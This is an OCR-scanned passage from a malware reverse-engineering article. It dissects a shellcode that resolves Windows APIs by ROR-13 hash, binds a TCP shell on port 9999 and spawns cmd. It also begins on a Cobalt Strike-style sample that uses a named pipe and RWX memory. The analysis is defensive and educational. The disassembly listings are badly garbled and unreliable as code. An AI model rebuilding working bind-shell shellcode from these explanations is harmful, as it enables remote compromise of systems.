segbfo: 0eeeaa2Dh push
5eghdid: 088eea2E mov
segbbo: 00088831 mov
segbfo: 0e0eea34 mov
segbbe: 00088833 jecxz
seghbd:0peeea3a add
seghid: 888eeaic push
segbbe: 8eeeea30n mov
segbbe:gopeeads add
5egdid: ggeannl2 mov
seghbe:0opeeads
5eghbd:8e8eee4s loc 45:
segbBe: 88088845 jecxz
segbbo:0e0aea47 dec
5egdid: 0eeeels mov
seghbe:0opeeds add
segbbd: 8esege4ld xor
sec0B:0000084F

; CODE XREF: sub_6+2417j
al, 61h ; "a°
short loc_25
al, 28h ;
; CODE XREF: sub_&+1Bt1j
edi, @Dh
edi, eax
loc_1E
edx
edi
edx, [edx+18h]
ecx, [edx+3Ch]
ecx, [ecx+edx+78h]
short loc_82
ecx, edx
ecx
ebx, [ecx+28h]
ebx, edx
ecx, [ecx+18h]
; CODE XREF: sub 6+5947j
short loc_81
ecx
esi, [ebx+ecx®4]
esi, edx
edi, edi

[Figure 20] Second part of sub_6 routine

Addresses (or lines — the choice is yours) Ox1E to 0x23 are pretty obvious because the code is checking
whether the string passed as argument is lowercase or uppercase. If it is lowercase then the code converts
it to uppercase, and that is the reason about the sub al, 20h on line 0x23. It is valid to remember that
loadsb (line Ox1E) loads a byte from the source string (given by ESI on line 0x15) into AL register. ESl is
incremented after each loadsb instruction then passing to the next byte. The interesting part is that
addresses 0x25 to Ox2A are the decoding part of the code, which is basically ROR-13, and that is popularly

known as metasploit encoding.
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At addresses 0x2C and 0x2D there are “push edx” and “push edi” instructions, respectively. Thus, the
code is saving the pointer to the current _LDR_DATA_TABLE_ENTRY structure (in other words, a pointer to
the current DLL structure) and a pointer to the current slot in the string array, respectively. If readers have
not seen it yet, check addresses 0x12 and 0x28. The instruction at address 0x2E, we have mov edx,
[edx+10h], which points to InlnitializationOrderLinks according to Figure 17. This field also points to
_LDR_DATA_TABLE_ENTRY structure and, at offset 0x3C have a...union?! The figure below shows
structure:

6000668 struct _LDR_DATA TABLE ENTRY::$19143798DB8BCB6ACI735A6833255DBCA: : $EFDC81265E6C3B5F8B37FFAD994BC2FD // sizeof=0x8

Bepeanes { // XREF: _LDR_DATA_TABLE_ENTRY::$19143798DB8@CB6C9735A6833255DBC8/r
geeeoeee PVOID SectionPointer;
ooaeesed ULONG CheckSum;

pDeBeEReS };

B0PE0EE8 union _LDR_DATA_TABLE_ENTRY::$19143798DA8ACB6CI735A6833255DBCE // sizeof=0x8

Bopooese { // XREF: _LDR_DATA_TABLE_ENTRY/
QogeeRas LIST_ENTRY Hashlinks;
oooooeee struct _LDR_DATA TABLE_ENTRY::$19143798D088CB6C9735A68332550BC0: : $EFDCB1265E6C385F8B37FFAD994BC2FD;

8000000 };

00008088 struct _LDR_DATA TABLE_ENTRY // sizeof=8x58

popeoees {

pDeBeeBes LIS

0eee0083 LIST_ENTRY InMemoryOrderlLinks;

geeeegele LIST_ENTRY InInitializationOrderlinks;

Beeeee1s JOID D11Base;

peaeaelc PVOID EntryPoint;

Beeeee20 ULONG SizeOfImage;

ooBeee24 UNICODE_STRING FullD1lName; // XREF: sub_6:loc_15/r
0006824 // sub_6+12/r

UNICODE_STRING BaseDllName;
ULONG Flags;

USHORT LoadCount;

USHORT TlsIndex;

union _LDR_DATA TABLE_ENTRY:

BCA;

union _LDR_DATA_TABLE_ENTRY: :$69464484498E78DD6BB6AIAAF96613AD;
PACTIVATION CONTEXT EntryPointActivationContext;
eeeeeeaC PVOID PatchInformation;

peBEERSE };
[Figure 21] _LDR_DATA_TABLE_ENTRY and associated unions

Analyzing the figure above, we realize that the target field is SectionPointer, which points to the binary
itself, and we will be overseeing a structure PE from this point onward. | do not want to repeat steps |
already done in previous articles, and by using the same approach by applying structures you have:

segbB0: BEEBE025 ror edi, 13

segbB0: BEEBE023 add edi, eax

segbBo: eeeeee2A loop loc_1E

segbB0: Beeeee2C push edx

segbBg: eeeeee2D push edi

segB00: BEEBE02E mov edx, [edx+_ LDR_DATA TABLE_ENTRY.InInitializationOrderlinks.Flink]
segbB0: BeeBe31 mov ecx, [edx+ IMAGE_DOS_HEADER.e_lfanew]

segbbo: eeeeee34 mov ecx, [ecx+edx+ IMAGE_NT_HEADERS32.0ptionalHeader.DataDirectory.VirtualAddress]
segbB0:BEEBE038 jecxz  short loc_82

segfBe: eeeeea3n add ecx, edx

segbbd: BeRRRe3C push ecx

seghied: aaaaaaiD mowv ebx, [ecx+ IMAGE EXPORT DIRECTORY.AddressOfMames]

seghbed: BeeeRR4e add ebx, edx

seghbd: R4 2 mowv ecx, [ecx+ IMAGE EXPORT DIRECTORY.MumberOfNames]

[Figure 22] Second part of sub_6 routine with symbols and names applied
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If you do not remember about all structure used for the search, they follow below:

00080808 struct _IMAGE_DOS_HEADER

ppepases {

gpeooooe WORD e_magic;

gee08002 WORD e_cblp;

goooaaad WORD e_cp;

gBe08006 WORD e_crlc;

geeoooes WORD e_cparhdr;

BR00aaBA WORD e_minalloc;

geeoaeec WORD e_maxalloc;

BB008008E WORD e_ss;

goooeale WORD e_sp;

P12 WORD e_csum;

gogeaald WORD e_ip;

geeesale WORD e_cs;

gaooaals WORD e_lfarlc;

B0008a1A WORD e_owno;

geeeaalc WORD e_res[4];

ge0e8a24 WORD e_oemid;

20eeee26 WORD e_oeminfo;

0B008028 WORD e_res2[16];

geegaa3ic LONG e_lfanew;

gpepasds 1;

00000000 struct _IMAGE_NT_HEADERS32 // sizeof=8xF§
opooeeed {

BEREE088 DWORD Signature;

B84 IMAGE_FILE_HEADER FileHeader;
00000013 IMAGE_OPTIONAL_HEADER32 OptionalHeader;

GO0R0RFS };

BEBEBese struct _IMAGE_DATA DIRECTORY

oeeooeee {
coegoooe DWORD VirtualAddress;
feoeoeed DWORD Size;

00eAReB8 };

BE0EEEEE struct _IMAGE_OPTIONAL_HEADER32 // sizeof=8x

feeaeees {

20000000 WORD Magic;

0660802 BYTE MajorlLinkerVersion;
gegeeea3 BYTE MinorLinkerVersion;
goeenand DWORD SizeOfCode;

80000008 DWORD SizeOfInitializedData;
Beee0eac DWORD SizeOfUninitializedData;
gegeeele DWORD AddressOfEntryPoint;
goeenald DWORD BaseOfCode;

aeee0e18 DWORD BaseOfData;

gegeealc DWORD ImageBase;

08808020 DWORD SectionfAlignment;
goeepa24 DWORD FileAlignment;

0BBEEB28 WORD MajorOperatingSystemVersion;
geeeea2a WORD MinorOperatingSystemVersion;
Be8eee2C WORD MajorImageVersion;
0eeeea2E WORD MinorImageVersion;
0BBEEB30 WORD MajorSubsystemVersion;
gegeea32 WORD MinorSubsystemVersion;
geeeeaz4 DWORD Win32VersionValue;
80000038 DWORD SizeOfImage;

08088 3C DWORD SizeOfHeaders;

geeegede DWORD CheckSum;

oeseaald WORD Subsystem;

0eeeeads WORD DllCharacteristics;
0BBEEB4B DWORD S5izeOfStackReserve;
geeeneac DWORD SizeOfStackCommit;
0eeeeaso DWORD SizeOfHeapReserve;
08000854 DWORD SizeOfHeapCommit;
2eeeeass DWORD LoaderFlags;

ge8eeasC DWORD NumberOfRvafndSizes;
20000060 IMAGE_DATA DIRECTORY DataDirectory[16];
BOA0BEED 1

Beese0ee struct _TMAGE_EXPORT_DIRECTORY // sizeof=08x23

poBoBase {

peeeesee DWORD Characteristics;
P84 DWORD TimeDateStamp;
Be888883 WORD MajorVersion;
PeBeBBA WORD MinorVersion;
geaoegac DWORD Name;

gegoeale DWORD Base;

peeeee1d DWORD NumberOfFunctions;
eee88a1s DWORD NumberOfNames;
Be88881C DWORD AddressOfFunctions;
geeee82e DWORD AddressOfNames;
P8 24 DWORD AddressOfNameOrdinals;

0000028 };

// XREF: sub_6+43C/r

// XREF: sub_6+37/r

[Figure 23] Structures that participate in the name resolution

In a few words, the code is parsing the binary for the RVA to the array of address of the names and also the

number of DLLs.
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The last lines of Figure 20 are the following ones:

seghi:
seghi:
segBBe:
seghi:
seghi:
segdfd:

geeeesds loc_45:
goeeeeds
gooeeed?
soeeeeds
soeeee4n
goeeeadn

[Figure 24] Last lines of the piece of code presented in Figure 20

jecxz
dec
mo
add
xor

short loc_ 81
ecx

esi, [ebx+ecx®4]
esi, edx

edi, edi

The instructions above are used to parse the addresses of names, each one is composed of 4 bytes, and

actually ends the previous stage of the code. Thus, it is time to analyze the next one:

segd:
seghag:
seghag:
seghag:
5egdde:
5egbie:
segbie:
segbie:
segd:
seghag:
seghag:
seghae:
seghag:
5egbie:
segbie:
segbie:
segd:
seghag:
seghag:
seghae:
seghag:
5egbie:
segbie:
segbie:
segd:

geeeeedr loc_4F:
gegeea4r
gegeease
BeBeBas3
gegeeass
ceoeeasy
gageeass
aageeasc
geoeeask
cegeessl
gegeess2
Beeeees6s
gegeees7
ceoeeess
GeoeeesE
gaoeea’e
gegeea’s
gegeea’s
gegeea’a
gegeeavA
gegeee’B
cegeea’yc
cageea’D
ceoeea’vE
cegeea’r

lodsb
ror
add
cmp
jnz
add
cmp
jnz
pop
mow
add
mow
mow
add
mow
add
mow
pop
pop
popa
pop
pop
push
jmp

edi, 8Dh
edi, eax

al, ah

short loc_4F

edi, [ebp+var 8]
edi, [ebp+arg 20]
short loc_ 45

eax

ebx, [eax+24h]

ebx, edx

cx, [ebx+ecx®2]

ebx, [eax+1Ch]

ebx, edx

eax, [ebx+ecx®*4]
eax, edx
[esp+28h+var_ 4], eax
ebx

ebx

ecx
edx
ecx
eax

[Figure 25] Third part of sub_6 routine

The analysis of this part is similar to the previous one, but this time for function names and addresses:

= the pop eax is recovering the data on the top of the stack., which is a pointer to
IMAGE_DATA_DIRECTORY.

= the binary is accessing and retrieving each one of AddressOfNameOrdinals.

= for each retrieved ordinal, the respective function’s address is also recovered.

Before the popa instruction, which undo the previous pusha instruction, the decoded byte is

retrieved and the pointer to _LDR_DATA_TABLE_ENTRY is also restored.

= After this point if the correct function is found then it is called. If it is not, the searching process
continues until the code finds it.

| have been omitting some details, but it is enough for now. The marked code follows:
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segdfd:beeeeedr loc_AF:
segbop: boeeealr
segbon: 00eeease
segbon:00eeeas3
segbod:00eeeass
segbod: 0eeeeas’
segdod: 0eeeeass
segbod: 0eeseasC
segbB0: 08eeeasF
segbop: boeeRes1
segbop:00esees2
segbop:b0eeeess
segdo: 00eeees’
segboe: 00eeees6E
segbod: 00eeees6E
segbdd: 0eeeee7e
segddd:0eeeea73
segbdd: 0eeeea7s
segbBd: 0eeeea79
segbOp:eeeaee7TA
segbop:b0eeea7e
segbon: 0eeeea7C
segP@e:0eeaeesD
segbod:00eeea7E
seglod: 0eeeea7F

lodsb
ror
add
cmp
jnz
add
cmp
jnz
pop
mov
add
mov
mov
add
mov
add
mons
pop
pop
popa
pop
pop
push
jmp

; CODE XREF: sub_6+514j

edi, 8Dh

edi, eax

al, ah

short loc_ 4F

edi, [ebps+var 8]

edi, [ebp+arg 28]

short loc_45

eax ; IMAGE_DATA DIRECTORY

ebx, [eax+ IMAGE EXPORT DIRECTORY.AddressOfNameOrdinals]
ebx, edx

cx, [ebx+ecx*2]

ebx, [eax+ IMAGE EXPORT DIRECTORY.AddressOfFunctions]
ebx, edx

eax, [ebxs+ecx®4]
eax, edx
[esp+2Bh+var 4], eax
ebx

ebx

; decoded_byte

; _LDR_DATA_TABLE_ENTRY

; undo the previous pusha
ecx

edx

ecx

eax

[Figure 26] Third part of sub_6 briefly marked

An important note is that the code from sub_6 is applied for any proposed hash that comes from a DLL or
exported function, and the logic is similar (not equal) between both parts. Now we need to return to the
point where we had stopped in routine sub88 and to analyze a few details. Taking a similar approach, | will
be using HashDB to search for function hashes and replace them with their real names:

seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghie:
Seghee:
seghid:

Beeeoasd
geesaaa
Beeaeass
gaeaaaaD
B88888AE
B88888AE
B88888AE
B88888AF
BeeaeaBl
geeseen2
BeeseeB3
gees8e84
BeeseaBs
B88880B8A
BeeaeaBC
28e8aaB8D
geeaeac2
geesaaca
geeaeacs
gaeaeacy
geeeeacs

loc_ AE:

push
call
push

pop

push
loop
inc

push
inc

push
push
call
xchg
push
mon

push
push
push
push

WSAStartup @
ebp

8

ecx

eax
loc_AE

eax

eax

eax

eax
WSASocketh @
ebp

eax, edi
BF270882h
esi, esp

18h

esi

edi

bind @

[Figure 27] The second part of the sub_88 routine (first part is in Figure 08)

17| Page




https://exploitreversing.com

The prototype of WSASocketA function follows:

SCOCEET WSAAPI WSASccketA(

int aft,

int type,

int protocol,
LEWSAFROTOCOL INFOA lpProtocolInfo,
GROUE B g,

DWORD dwFlags

[Figure 28] WSASocketA function prototype (credits: Microsoft Learn)

The WSASocketA function returns a descriptor that refers to the created socket. The lines of code shown
in Figure 28 are interesting due to the following details:

= The returned value from WSAStartup function is 0 (successful).

=  ECXissetto 8, which will be used as counter to loop instruction.

= There are multiple pushes of EAX == 0 to the stack (it is a do/while construction).

= There are two additional pushes to the stack, and they are sequentially increased by 1.

= Thus, the first argument of WSA_Socket is 2 (AF_INET) and the second argument is 1
(SOCK_STREAM), which used for TCP.

= The third argument is zero, so the provider will choose the protocol automatically (TCP, of course).

= The remaining parameters are zero.

The second part of the code shown has the bind function, which is represented by the following prototype:

int WSAAPI bind(

SOCEET s,
const sockaddr *name,
int namelen

)i
[Figure 29] bind function prototype (credits: Microsoft Learn)
There are observations pending on the second part of the code:

= The descriptor returned by WSASocketA is saved into EAX then it is swapped by EDI, which will be
used as first argument of bind function (check line 0xC7).

= The second argument is tricky because 0xOF270002 is pushed onto stack (line 0xBD) and then a
pointer to this value is saved into ESI (line 0xC2), which will be used as the second argument of bind
function.

= The real type of second argument is sockaddr_in, which holds a specific definition that will be
handled in a minute.

= The third argument, which is the length of the value pointed by the addr (second parameter) is
0x10 (16), whose value is passed as an immediate value.

Before proceeding, we need to review the structure of the second argument to be able to interpret it
correctly. However, there is a detail from Microsoft Learn website that must be commented:
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“All of the data in the SOCKADDR_IN structure, except for the address family, must be specified in
network-byte-order (big-endian).”

The sockaddr_in structure follows:

typedef struct sockaddr in {

fif
short sin family;
felse B
ADDEESS FAMILY sin family;
fendif B
USHORT sin port;
IN ADDR sin addr;
CHAR sin zerol[8];

} SOCEADDE IN, *PSOCEADDE IN;
[Figure 30] sockaddr_in structure (credits: Microsoft Learn)
Therefore, as the second argument value is 0xOF270002, we have:

= sin_family = 0200: AF_NET.
= sin_port = 270F (9999): socket is bound to this port.
= in_addr =0.0.0.0: the server is bound to any IP address.

In past articles | have already commented on the order of functions to be called to establish a socket
communication, but eventually it is appropriate to remember it:

= To set up the client-side connection the following sequence is executed:

WSAStartup
socket
connect
send | recv

o O O O

= To set up the server-side connection the required sequence is executed:

WSAStartup
socket

bind

listen
accept

recv | send

o O O O O O

The configuration from the binary code is server-side.

Therefore, this shellcode keeps a socket bound to default network adapter (main IP address), port 9999,
and uses TCP as transport protocol.

The next part of the code from sub_88 function is easier to analyze than the previous one, and | am going
to make only a few observations:
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seghdd:
seghes:
seghes:
seghdd:
seghes:
seghes:
seghdd:
seghes:
seghes:
seghdd:
seghes:
seghes:
seghdd:
seghes:
seghes:
seghdd:
seghes:
seghes:
seghas:
seghes:
segddd:
seghdidd:
seghes:
seghes:
seghas:
seghes:
seghes:
seghas:
seghes:
seghes:
seghas:
seghes:
seghes:
seghBs:
seghes:
seghes:
seghBs:
seghes:
segdid:
segdia:
seghdd:
segbia:
segdia:
seghdd:
segbia:
segdia:
seghba:
segbia:
segdia:
seghba:
segbia:
seghiad:
seghba:
segbia:
segBBo:

geeseacDh
peeseeacF
peeseeDa
BeeBBaDs
peeseeD?
peeseeDs
gepeseaD
peeseeDF
peepeeta
BeeBeBaLlL
pDeeBeeEs
BeepeeEs
BeeBaacD
DeeBBeEF
peepeera
fepBBaFl1
pbeepeer2
peesears
DepBBaFe
oeesear?
geesear?
geeBeaFr?
pDeepeers
peesearA
gepsel1al
peese1es
peeseles
gepse1a9
oeesalen
peesel1es
geese1ac
oeesaleD
peesel1et
BeBBB1BF
peesel1la
peessl1ll
BepBeB112
peese113
peesalld
peesel11s
Beese11B
peessl1lD
Beesel1lE
BeeBe11F
peesel12a
peesel122
Beese127
peese129
Beesel12E
Beese133
0eese135
peesel13?
BeeBeB139
peesel13c
Beesel13E

call ebp
push edi
push listen_#
call ebp
push edi
push accept_@
call ebp
push edi
xchg eax, edi
push closesocket 8
call ebp
push “dmc’
mow ebx, esp
push edi
push edi
push edi
xor esi, esi
push 12h
pop ecx
loc_F7: ; CODE XREF:
push esi
loop loc_F7
mov [esp+1FBh+var_ 1BC], 181h
lea eax, [esp+1FB8h+var 1E8]
mov byte ptr [eax], 44h ; 'D°
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push CreateProcessA @
call ebp
mov eax, esp
dec esi
push esi
inc esi
push dword ptr [eax]
push WaitForSingleObject @
call ebp
mow ebx, ExitProcess_@
push GetVersion_8
call ebp
cmp al, 6
jl short loc_143
cmp bl, BEBh
jnz short loc_143
Mo ebx, RtlExitUserThread ©

[Figure 31] Third part of the sub_88 routine

sub_88+781]

20| Page




https://exploitreversing.com

Basically, we can notice that:

= The server-side connection contains all expected functions, and the only change is at its final where
recv/send functions are not called, but CreateProcessA is called instead.

= The command prompt is launched (check “cmd” at address OxE8) soon the client connects itself to
the server.

= WaitForSingleObject waits until the object (process) has been signaled (finished).

= Finally, the process and associated threads exit.

While this first shellcode was not hard to analyze, it brings different concepts and points of view. No doubt,
| left many details out of analysis, but the presented content can be re-used in other shellcode analysis.

5.2 Example 02

This time we will analyze the following example:
d26d5e9e0b05f94be8b86dc7410604cac85557a8f7bdf709beb95ee8cbb98c60

The HxD tool shows us the following:

5| shellcode 02.bin

Cffset(h) 00 01 02 03 04 O5 06 07 O8 05 0A OB OC OD OE OF Decoded text

00000000 FD SA 90 00 03 00 00 OO 04 00 00 00O FF FF 00 00 EZ .......... ¥¥..
00000010 BE 00 00 OO0 Q0 OO0 00 OO 40 00 QO OO0 00 OO 00 OO0 ,....... (Jececcec
00000020 00 00 00 OO0 00 OO0 00 OO0 00 00 00 00 00 00 00 00 ......ccvuecennnn
Q0000030 00 00 00 00 Q0 00 Q0 OO0 00 00 Q0 OO0 80 00 00 00 ............ Eccc
QQ0000040 OE 1F BA COE 00 B4 08 CD 21 BS 01 4C CD Z1 54 6% AL S A gy
00000050 €9 73 20 TO 72 €F €7 72 61 €D 20 €3 61 6E 6E €F 1is program canno
00000060 T4 20 €2 €65 20 72 TS5 €E 20 €9 6E 20 44 4F 53 20 t be run in DOS

00000070 €D eF 64 &5 2FE OD OD OR 24 00 00 OO0 00 OO0 00 00 mode....5.......
00000080 50 45 00 00 4C 01 07 OO OB D5 DE SE 00 00 00 00 PE..L....0B"....
000000%0 00 00 00 00 EQ 00 OF 03 OB 01 02 16 00 1E 00 00 ... .@uesennrnnnns
Q00000RAD 00 34 00 OO0 00 O6 00 OO BO 14 00 00 00 10 00 OO0 .4...... e
000000BO OO0 30 00 OO 00 OO0 40 0O 00 10 00 OO0 00 02 00 00 .O....B.........
QQoQ00Co 04 00 00 00 Q1L 00 00 00 04 00 Q0 00 00 00 00 00 .....eevunennnnn
QQo0QQ0D0O Q0 20 00 00 00 O4 00 00 OD 35 01 00 02 00 00 00 ......... S.aa.an
QQO0QQQED Q0 00 20 00 Q0 10 Q0 00 00 00 10 00 00 10 00 00 .. steswesnansnans
QO00000F0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  ....eeevunnennns
00000100 00 &0 00 OO0 EC 06 00 OO0 00 00 00 OO0 00 00 00 00 . .. i.c.cieuanns
QO000110 Q0 00 00 00 Q0 00 00 00 Q0 00 Q0 00 00 00 00 00 .....eevueeennns
QQ000120 Q0 00 00 00 Q0 OO0 Q0 00 00 00 Q0 00 00 00 00 00 .....eevuneannnns
00000130 00 00 00 00 Q0 00 Q0 OO0 00 00 Q0 00 00 00 00 00 ..sivenennnnsnans
00000140 00 80 00 00 18 00 00 00 00 00 00 00 00 00 00 00 .€......0.0cevnnn
QQ000150 00 00 00 00 Q0 00 00 00 38 €1 00 00 FC 00 00 00 ........ ga..d...
QO0001e0 Q0 OO0 OO0 00 Q0 Q0 Q0 00 Q0 00 Q0 00 00 00 00 00 .....ccveeeennnn
00000170 Q0 OO0 00 00 Q0 00 Q0 Q0 Z2E 74 €5 78 T4 00 00 00 ...veuenn text...
00000180 44 1D 00 OO0 00 10 00 OO0 00 1E Q0 OO0 00 04 00 00 D..veeevwnannans
00000180 00 00 00 OO0 00 00 00 OO0 00 00 00 00 60 00 50 60 ............ S
000001R0 2E &4 &1 74 &1 OO0 00 OO 24 04 00 00 00 30 00 00O .data...$....0..
QQ0001B0 00 O 00 00 Q0 22 00 00 Q0 00 00 OO0 00 00 00 00 ..... “ccccecccccc
000001CO Q0 00 00 00 40 00 30 CO 2E 72 &4 €1 74 €1 00 00 ....@.0A.rdata..
000001D0 F4 02 00 OO 00 40 00 OO OO0 04 00 OO 00 28 00 OO0 &....@....... [..
Q00001ED0 00 OO0 00 00 Q0 00 00 OO0 00 00 00 00 40 00 30 40 ............ E.08
0000C01F0 2E €2 73 73 00 00 00 00 5C 04 00 00 00 50 Q00 00 .bss....\....P..
00000200 Q0 00 00 00 Q0 OO0 Q0 OO0 00 00 Q0 00 00 00 00 00 ..sivenmesnnnsnans

00000210 00 00 00 00 80 00 60 CO 2E €9 &4 €1 74 €1 00 00 ....€. A.idata..

[Figure 32] shellcode_02.bin on HxD
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Initially the sample is a PE executable. Open it on IDA and also decompile the whole binary by going to File

- Produce File = Create C File:

Ltext:@0482C08 ; int _ cdecl main(int argc, const char **argv, const char **envp)
Ltext:00402C08 _main proc near ; CODE XREF: sub_481188+2651p

.text:@0402CD0
Ltext: 00402008 argc
Ltext: 00402008 argv
Ltext: 80482008 envp
Ltext:@e4020D8

dword ptr 8
dword ptr 8Ch
dword ptr 18h

.text:@88482CD8 lea ecx, [esp+d]

.text:@84082CD4 and esp, BFFFFFFFBh

.text:@88482CD7 push dword ptr [ecx-4]

Ltext:88402CDA push ebp

.text:00402C0E mov ebp, esp

Ltext:00402C0D push ebx

Ltext:80482CDE push ecx

Ltext:00402C0F sub esp, 18h

.text:80482CE2 call sub_4827F6

.text:804682CE7 mow dword ptr [esp], @

Ltext:804682CEE call sub_ 4681846

Ltext:08402CF3 mowv ebx, ds:Sleep

Ltext:@04682CF9

Ltext:80482CF9 loc_482CF9: ; CODE XREF: _main+331j
.text:88482CF9 mow dword ptr [esp], 2718h ; dwMilliseconds
text: 004020080 call ebx ; Sleep

Ltext: 00402082 push eax

.text:80482003 Jmp short loc_ 482CF9

Ltext: 00402083 _main endp

.text: 004020083

£ext:B0482D03 § oo

[Figure 33] shellcode_02.bin on IDA Pro
There are important notes here:

= The first routine shown by IDA Pro is main.
= However, it is not the entry point of this binary.

= There are other sections such as .tls that, eventually, might be relevant.

The entry points are listed pressing CTRL+E, as shown below:

=¥ Choose an entry point
Mame Address Ordinal
f| TsCallbadk_o 00401950
TsCalback_1 00401900
start 00401460 [main entry]
Line 1 of 3
Ok Cancel Search Help

[Figure 34] Listing entry points

As we can see, there are two TLS callbacks, and the start routine is listed as the main entry point.

List sections using CTRL+S combination, as shown below:
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[&) Choose segment to jump O *
Start End R W X (] L Align Baze Type Class
00401000 00403000 R . X L para oooi public CODE
00403000 00404000 R W L dwaord ooo2 public DATA
00404000 00405000 R . L dword ooo3 public DATA
00405000 00406000 R W L align_32 0004 public BSS
00408000 00406138 R W L dwaord 0005 public DATA
004056138 00406234 R W L dword 0005 public XTRM
00406234 00407000 R W L dword 0aos public DATA
00407000 00408000 R W L dwaord 000& public DATA
00403000 00409000 R W L dword ooo7 public DATA

Line1of9

oK Cancel Search Help

[Figure 35] Listing sections

Indeed, there is a TLS section. Examining the start routine you will have:

; Attributes: library function noreturn

public start

start proc near
sub esp, BCh
mow ds:dword 485848, 1
call sub_4@281@
add esp, @Ch
jmp sub_4@llse
start endp

[Figure 36] Start routine

If readers follow the sequence of function calls start = sub_401180 = sub_4020F0 - sub_0x401EBO you

will see this function aims to change memory permission to RWX through VirtualProtect function:

1 void * usercall sub_481EB@@<eax>(size t Size@<ecx», wvoid *al@<eax>, const void *al@<edx:)
24

3 // [COLLAPSED LOCAL DECLARATIONS. PRESS MUMPAD "+" TO EXPAND]

4

5 if ( dword 405858 <= @ )

6 {

7 v6 = @;

8 LABEL 6:

9 vB = sub_4824BB((int)a2);
10 V9 = v8;
11 if ( 1v8 )
12 sub_481E58("Address ¥p has no image-section”, a2);
13 vl@ = 12 * v6,
14 w1l = (_DWORD *)(12 * v6 + dword 405054);
15 v11[2] = v8;
16 =11 = @
17 vl5 = vie;
18 v11[1] = *(_DWORD *)(v8 + 12) + sub_482590();
19 if ( WirtualQuery(*(LPCVDOID *)(dword_485854 + v15 + 4), &Buffer, 8x1Cu) )
20 sub_481E50(

21 " VirtualQuery failed for %d bytes at address ¥p",

22 *(_DWORD *)(v9 + 8), [Figure 37] sub_401EBO
23 #(const void **)(dword 4085854 + v15 + 4));

24 if ( Buffer.Protect != 4

25 && Buffer.Protect I= 64

26 && !WirtualProtect(Buffer.BaseAddress. Buffer.RegionSize. Bx4B8u. (PDWORD)(dword 485854 + w153 )
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For now, we do not know the purpose of such RWX region (it is not really true), but it comes soon after
TlsCallback_0 invocation. | will not analyze TlsCallback_0 and TIsCallback_1 here to keep focused on our
target that is to find and understand a potential shellcode within this binary, but it is always important to
check and analyze function since the available entry points to prevent any surprise.

Changing our focus to main function (Figure 33), there is a call for sub_401840 (address 0x402CEE), and its
content is shown below:

.text: 00481848 ; int sub_481848()

Ltext:00401848 sub_481848 proc near ; CODE XREF: _main+l1Edp
.text: 00401848

.text: 00401848 arg 8 = dword ptr 8

Ltext: 00401848

CLtext:0e4e1840 push ebp

.text: 00481841 mon ebp, esp

.text: 80401843 sub esp, 38h

.text:B04681846 call ds:GetTickCount

Ltext:8040184C mow ecx, 26AAh

.text: 80401851 xor edx, edx

.text: 80481853 mov dword ptr [esp+28h], 5Ch ; "'
.text:80481858 mowv dword ptr [esp+24h], 65h ; ‘e’
.text:80481863 mowv dword ptr [esp+28h], 768h ; 'p°
.text:80481868 mowv dword ptr [esp+1Ch], 69h ; "i°
.text:808481873 mowv dword ptr [esp+18h], 78h ; 'p°

.text: 00481878 div ecx

.text:8048187D mowv dword ptr [esp+14h], 5Ch ;
.text:80481885 mowv dword ptr [esp+18h], 2Eh ;
.text:B8048188D mowv dword ptr [esp+8Ch], 5Ch ;
.text:808481895 mowv dword ptr [esp+8], 5Ch ; "\’

.text: 00481890 mov dword ptr [esp+d], offset Format ; "HcHcHcHcHcHcHcXckcMSSE-%d-server”
.text:884818A5 mow dword ptr [esp], offset Buffer ; Buffer
.text:@e4818AC mow [esp+2Ch], edx

.text: 00401860 call sprintf

.text:@04618B5 mo dword ptr [esp+14h], @ ; lpThreadId
.text:804018ED mow dword ptr [esp+18h], @ ; dwCreationFlags
.text:884818C5 mowv dword ptr [esp+8Ch], @ ; lpParameter
.text:804018CD mow dword ptr [esp+8], offset sub 481713 ; lpStartAddress
.text:8084818D5 mowv dword ptr [esp+4], @ ; dwStackSize
.text:8048180DD mowv dword ptr [esp], @ ; lpThreadAttributes
.text:804818E4 call ds:CreateThread

.text:B04818EA mowv [ebp+arg_B], @

.text:004018F1 sub esp, 18h

.text:004018F4 leave

.text:004818F5 jmp sub_4@17E2

Ltext:B04018F5 sub 481848 endp

[Figure 38] sub_401840
From the code above, there are a few relevant points:

= The string \\.\pipe\MSSE-<value>-server is built in the stack, where value is the result from
TickCount % 9898. Of course, it is a typical Cobalt Strike artifact. Check about it on
https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects.

= The CreateThread function is called, and it is responsible for creating a thread for execution. The
most important argument for us is the third one (IpStartAddress).

The next step is to check sub_401713 routine, which is started as a thread:
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text:
88481713

Jtext

text:
Jgdext:
Jgdext:
Jgdext:
Jgdext:
text:
. 88481719

text

text:
text:
Ltext:
text:
Jgdext:
Jgdext:
108481731

Jtext

88481713

88481713
88481713
88481713
80481713
88481714
88461716

B8848171E
88481725
88481729
B8848172E
88481738
88481731

; DWORD _ stdcall sub 481713()

sub_ 481713

proc near ; DATA XREF: sub 481848+8Dlo

1pThreadParameter= dword ptr &

sub_ 481713

push ebp

mow ebp, esp

sub esp, 18h

mow eax, dwSize

mow dword ptr [esp], offset byte 483814 ; 1pBuffer
mow [esp+d], eax ; nlumberOfBytesTolrite
call sub_ 481648

xor eax, eax

leave

retn

endp

[Figure 39] sub_401713

The content of byte_403014 is shown below:

.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:

08483088
08483889
Be483084a
88483088
B848388C
28483818
88483816
Bad4e3el4
28483814
ga4e3814
B848381E
88483828
Bged4e3e31
2a4e3a838
28483845
Be4e384F
88483859
gad4e3e63
B848386E
88483879
B8483883
28483830
ga4e3a97
gede3eal
B84838AB
28483885
2a48388F
Ba4e3acs
Bade3eD3
28483800
Ba4@3aE7
B84838F1
Be4838FA
ge4e3184
2848318k

unk_483808

dword_48388C
dword_483818

; char byte 403014[1016]

byte_4083014

db @E%h ; DATA XREF: sub_4817E2+44t0

db @E5h

db 9Eh

db @FDh

dd @ ; DATA XREF: sub_481559+67Tr

dd @ ; DATA XREF: sub_4@1559+13tr
; sub 481559+2Btr

do SN, BN, B, DN -DF -,m 1-, eD4n
